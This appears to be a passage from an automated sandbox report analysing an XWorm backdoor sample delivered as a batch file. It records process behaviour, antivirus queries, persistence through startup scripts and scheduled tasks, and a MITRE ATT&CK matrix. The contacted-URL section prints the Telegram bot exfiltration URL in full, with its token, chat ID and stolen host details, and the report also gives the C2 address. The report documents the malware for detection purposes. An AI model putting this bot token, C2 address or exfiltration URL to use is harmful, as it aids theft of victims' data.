        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\ VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\ VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\ VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Users\user\e45iasd.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
        Source: powershell.exe, 00000011.00000002.3442013616.0000020162227000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3442013616.0000020162170000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
        Source: C:\Windows\System32\net.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
        Source: C:\Windows\System32\net.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
        Source: C:\Windows\System32\net.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
        Source: C:\Windows\System32\net.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

        Stealing of Sensitive Information

        barindex
        Yara detected XWorm
        Source: Yara matchFile source: sslproxydump.pcap, type: PCAP

        Remote Access Functionality

        barindex
        Yara detected XWorm
        Source: Yara matchFile source: sslproxydump.pcap, type: PCAP

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity Information112
        Scripting        		Valid Accounts11
        Windows Management Instrumentation        		112
        Scripting        		1
        DLL Side-Loading        		1
        Disable or Modify Tools        		OS Credential Dumping1
        File and Directory Discovery        		Remote Services11
        Archive Collected Data        		1
        Web Service        		Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault Accounts1
        Native API        		1
        DLL Side-Loading        		11
        Process Injection        		1
        Deobfuscate/Decode Files or Information        		LSASS Memory23
        System Information Discovery        		Remote Desktop ProtocolData from Removable Media1
        Ingress Tool Transfer        		Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain Accounts1
        Exploitation for Client Execution        		1
        Scheduled Task/Job        		1
        Scheduled Task/Job        		1
        Obfuscated Files or Information        		Security Account Manager231
        Security Software Discovery        		SMB/Windows Admin SharesData from Network Shared Drive11
        Encrypted Channel        		Automated ExfiltrationData Encrypted for Impact
        Employee NamesVirtual Private ServerLocal Accounts1
        Command and Scripting Interpreter        		1
        Office Application Startup        		21
        Registry Run Keys / Startup Folder        		1
        Software Packing        		NTDS1
        Process Discovery        		Distributed Component Object ModelInput Capture1
        Non-Standard Port        		Traffic DuplicationData Destruction
        Gather Victim Network InformationServerCloud Accounts1
        Scheduled Task/Job        		21
        Registry Run Keys / Startup Folder        		Network Logon Script1
        Timestomp        		LSA Secrets241
        Virtualization/Sandbox Evasion        		SSHKeylogging2
        Non-Application Layer Protocol        		Scheduled TransferData Encrypted for Impact
        Domain PropertiesBotnetReplication Through Removable Media4
        PowerShell        		RC ScriptsRC Scripts1
        DLL Side-Loading        		Cached Domain Credentials1
        Application Window Discovery        		VNCGUI Input Capture3
        Application Layer Protocol        		Data Transfer Size LimitsService Stop
        DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items111
        Masquerading        		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
        Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job241
        Virtualization/Sandbox Evasion        		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
        Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt11
        Process Injection        		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Is Windows Process
        • Number of created Registry Values
        • Number of created Files
        • Visual Basic
        • Delphi
        • Java
        • .Net C# or VB.NET
        • C, C++ or other language
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1497352 Sample: PollosAplicaccion.bat Startdate: 22/08/2024 Architecture: WINDOWS Score: 100 69 api.telegram.org 2->69 75 Suricata IDS alerts for network traffic 2->75 77 Antivirus detection for dropped file 2->77 79 Multi AV Scanner detection for submitted file 2->79 83 13 other signatures 2->83 12 cmd.exe 1 2->12         started        15 e45iasd.exe 2->15         started        17 e45iasd.exe 2->17         started        19 2 other processes 2->19 signatures3 81 Uses the Telegram API (likely for C&C communication) 69->81 process4 signatures5 101 Suspicious powershell command line found 12->101 103 Wscript starts Powershell (via cmd or directly) 12->103 105 Bypasses PowerShell execution policy 12->105 21 powershell.exe 3 19 12->21         started        25 net.exe 1 12->25         started        27 conhost.exe 12->27         started        107 Powershell is started from unusual location (likely to bypass HIPS) 15->107 109 Reads the Security eventlog 15->109 111 Reads the System eventlog 15->111 29 conhost.exe 15->29         started        31 conhost.exe 17->31         started        113 Windows Scripting host queries suspicious COM object (likely to drop second stage) 19->113 115 Suspicious execution chain found 19->115 33 conhost.exe 19->33         started        process6 file7 65 C:\Users\user\AppData\...\startup_str_521.vbs, ASCII 21->65 dropped 67 C:\Users\user\AppData\...\startup_str_521.bat, DOS 21->67 dropped 89 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 21->89 91 Suspicious powershell command line found 21->91 93 Drops PE files to the user root directory 21->93 95 2 other signatures 21->95 35 wscript.exe 1 21->35         started        38 powershell.exe 37 21->38         started        40 net1.exe 1 25->40         started        signatures8 process9 signatures10 85 Wscript starts Powershell (via cmd or directly) 35->85 42 cmd.exe 1 35->42         started        87 Loading BitLocker PowerShell Module 38->87 45 conhost.exe 38->45         started        process11 signatures12 97 Suspicious powershell command line found 42->97 99 Wscript starts Powershell (via cmd or directly) 42->99 47 powershell.exe 15 19 42->47         started        51 net.exe 1 42->51         started        53 conhost.exe 42->53         started        process13 dnsIp14 71 95.98.144.201, 2404, 49718, 49720 TMO-NL-ASNL Netherlands 47->71 73 api.telegram.org 149.154.167.220, 443, 49717 TELEGRAMRU United Kingdom 47->73 61 C:\Users\user\AppData\Roaming\...\e45iasd.lnk, MS 47->61 dropped 63 C:\Users\user\e45iasd.exe, PE32+ 47->63 dropped 55 schtasks.exe 47->55         started        57 net1.exe 1 51->57         started        file15 process16 process17 59 conhost.exe 55->59         started       

        Screenshots

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        PollosAplicaccion.bat21%ReversingLabsScript-BAT.Backdoor.Xworm

        Dropped Files

        SourceDetectionScannerLabelLink
        C:\Users\user\AppData\Roaming\startup_str_521.vbs100%AviraVBS/Runner.VPXO
        C:\Users\user\e45iasd.exe0%ReversingLabs

        Unpacked PE Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        http://nuget.org/NuGet.exe0%URL Reputationsafe
        https://aka.ms/winsvr-2022-pshelp0%URL Reputationsafe
        http://pesterbdd.com/images/Pester.png0%URL Reputationsafe
        http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
        http://crl.microsoft0%URL Reputationsafe
        https://go.micro0%URL Reputationsafe
        https://contoso.com/License0%URL Reputationsafe
        https://contoso.com/Icon0%URL Reputationsafe
        http://schemas.xmlsoap.org/wsdl/0%URL Reputationsafe
        https://contoso.com/0%URL Reputationsafe
        https://nuget.org/nuget.exe0%URL Reputationsafe
        https://oneget.orgX0%URL Reputationsafe
        https://aka.ms/pscore680%URL Reputationsafe
        http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
        http://crl.v0%URL Reputationsafe
        https://oneget.org0%URL Reputationsafe
        https://api.telegram.org0%Avira URL Cloudsafe
        http://crl.microsoftG0%Avira URL Cloudsafe
        http://www.apache.org/licenses/LICENSE-2.00%Avira URL Cloudsafe
        http://www.apache.org/licenses/LICENSE-2.0.html0%Avira URL Cloudsafe
        https://api.telegram.org/bot0%Avira URL Cloudsafe
        http://www.microsoft.l0%Avira URL Cloudsafe
        https://api.telegram.org/bot6421494903:AAFuoWigwh2-oDYMZFAWqzFsbHJABidzW1Q/sendMessage?chat_id=633720%Avira URL Cloudsafe
        https://api.telegram.org/bot6421494903:AAFuoWigwh2-oDYMZFAWqzFsbHJABidzW1Q/sendMessage?chat_id=6337292784&text=%E2%98%A0%20%5BXWorm%20V5.2%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A87D11B8638EC6829CF88%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20B2C22K%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.20%Avira URL Cloudsafe
        http://PSWorkflow.psm1ol0%Avira URL Cloudsafe
        https://github.com/Pester/Pester0%Avira URL Cloudsafe

        Domains and IPs

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        api.telegram.org
        		149.154.167.220
        		truetrue
          		unknown

          Contacted URLs

          NameMaliciousAntivirus DetectionReputation
          https://api.telegram.org/bot6421494903:AAFuoWigwh2-oDYMZFAWqzFsbHJABidzW1Q/sendMessage?chat_id=6337292784&text=%E2%98%A0%20%5BXWorm%20V5.2%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A87D11B8638EC6829CF88%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20B2C22K%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.2true
          • Avira URL Cloud: safe
          		unknown

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          http://nuget.org/NuGet.exepowershell.exe, 00000005.00000002.2425670650.0000020644646000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2321024388.000001D56103D000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000014.00000002.3430899028.000001CF5F6D4000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000014.00000002.3430899028.000001CF610F0000.00000004.00000800.00020000.00000000.sdmpfalse
          • URL Reputation: safe
          		unknown
          http://www.apache.org/licenses/LICENSE-2.0e45iasd.exe, 00000014.00000002.3430899028.000001CF60DD4000.00000004.00000800.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          https://aka.ms/winsvr-2022-pshelppowershell.exe, 00000006.00000002.2299974852.000001D5511F8000.00000004.00000800.00020000.00000000.sdmpfalse
          • URL Reputation: safe
          		unknown
          http://crl.microsoftGe45iasd.exe, 00000014.00000002.3426459612.000001CF5D985000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          https://api.telegram.orgpowershell.exe, 00000011.00000002.3452902429.0000020162BF6000.00000004.00000800.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://pesterbdd.com/images/Pester.pnge45iasd.exe, 00000014.00000002.3430899028.000001CF60F7A000.00000004.00000800.00020000.00000000.sdmpfalse
          • URL Reputation: safe
          		unknown
          https://api.telegram.org/botpowershell.exe, 00000011.00000002.3452902429.0000020162BF6000.00000004.00000800.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000006.00000002.2299974852.000001D5511F8000.00000004.00000800.00020000.00000000.sdmpfalse
          • URL Reputation: safe
          		unknown
          http://crl.microsofte45iasd.exe, 00000019.00000002.3602792409.000002306E3D5000.00000004.00000020.00020000.00000000.sdmpfalse
          • URL Reputation: safe
          		unknown
